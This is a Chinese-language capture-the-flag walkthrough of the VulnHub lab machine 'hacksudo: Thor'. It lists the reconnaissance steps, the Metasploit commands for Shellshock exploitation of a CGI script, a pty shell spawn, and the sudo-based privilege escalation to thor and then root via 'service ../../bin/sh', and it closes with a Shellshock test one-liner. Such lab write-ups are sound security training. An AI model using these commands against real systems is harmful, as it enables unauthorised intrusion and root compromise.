準備:
攻擊機:虛擬機器器kali、本機win10。
靶機:hacksudo: Thor,下載地址:https://download.vulnhub.com/hacksudo/hacksudo---Thor.zip,下載後直接vbox開啟即可。
知識點:service提權、Shellshock漏洞利用。
資訊收集:
掃描下埠對應的服務:nmap -T4 -sV -p- -A 192.168.110.6,顯示開放了22、80埠,開啟了ssh、http服務。
目錄掃描:
使用dirmap進行目錄掃描,發現admin_login.php、home.php、README.md、news.php等檔案。
存取README.md檔案,發現關於賬戶的資訊:admin/password123。
使用獲得賬戶名和密碼資訊:admin/password123進行登入,在http://192.168.110.6/home.php登入失敗,但是在http://192.168.110.6/admin_login.php介面成功登入。
Shellshock-破殼漏洞:
然後在admin賬戶中建立了新的賬戶,在http://192.168.110.6/home.php進行登入,但是在兩個登陸後的介面中均未發現可以獲取shell的功能。然後在news.php中發現了cgi-bin,猜測這裡存在破殼漏洞。
使用dirsearch對http://192.168.110.6/cgi-bin/進行掃描,發現shell.sh檔案,但是存取該檔案無法存取。
使用msf進行驗證是否存在破殼漏洞,依次執行如下命令,經過驗證發現存在shellshock漏洞。
search Shellshock
use 2
show options
set rhost 192.168.110.6
set TARGETURI /cgi-bin/shell.sh
run
獲取shell:
使用msf依次執行以下命令,成功獲得shell許可權。
search Shellshock
use 1
show options
set rhost 192.168.110.6
set TARGETURI /cgi-bin/shell.sh
run
shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
提權至thor:
檢視下當前賬戶是否存在可以使用的特權命令或檔案:sudo -l,發現/home/thor/./hammer.sh檔案。
使用thor的使用者許可權執行指令碼該指令碼,發現會讓我們輸入一個key(疑是我們的身份)一個secret(會被執行),在輸入bash時形成了一個新的shell視窗,許可權是thor。
獲得thor許可權後,在/home/thor目錄下發現user.txt檔案並讀取該檔案資訊,成功獲得flag值。
提權至root:
檢視下當前賬戶是否存在可以使用的特權命令或檔案:sudo -l,發現cat和service命令。
查詢下service命令的提權方式,得到其提權命令:sudo service ../../bin/sh,成功提權到root許可權並在/root目錄下發現root.txt檔案並讀取到flag值。
補充:
如果我們可以正常使用目標伺服器時,也可以通過以下命令:env x='() { :;}; echo vulnerable' bash -c "echo this is a test ",來進行測試是否存在Shellshock漏洞,下面是存在此漏洞和不存在此漏洞的對比圖,左側無此漏洞,右側存在此漏洞。